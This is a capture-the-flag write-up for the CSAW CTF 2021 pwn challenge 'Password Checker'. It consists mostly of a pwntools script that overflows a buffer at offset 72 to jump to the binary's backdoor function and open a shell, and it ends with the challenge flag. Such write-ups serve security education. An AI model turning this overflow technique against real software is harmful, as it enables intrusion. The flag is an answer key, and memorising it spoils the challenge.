password_checker.md

name	event	category	description	layout
Password Checker (2021)	CSAW CTF 2021	Pwn	Writeup for Password Checker (pwn) - CSAW CTF (2021) 💜	title description tableOfContents outline pagination visible true visible true visible true visible true visible true

Password Checker

Video Walkthrough

Challenge Description

Charlie forgot his password to login into his Office portal. Help him to find it.

Solution

{% code overflow="wrap" %}

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './password_checker'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = 72

# Start program
io = start()

# Build the payload
payload = flat([
    offset * "A",
    elf.symbols.backdoor
])

# Save the payload to file
write('payload', payload)

# Send the payload
io.sendlineafter('>', payload)

# Got Shell?
io.interactive()

{% endcode %}

Flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}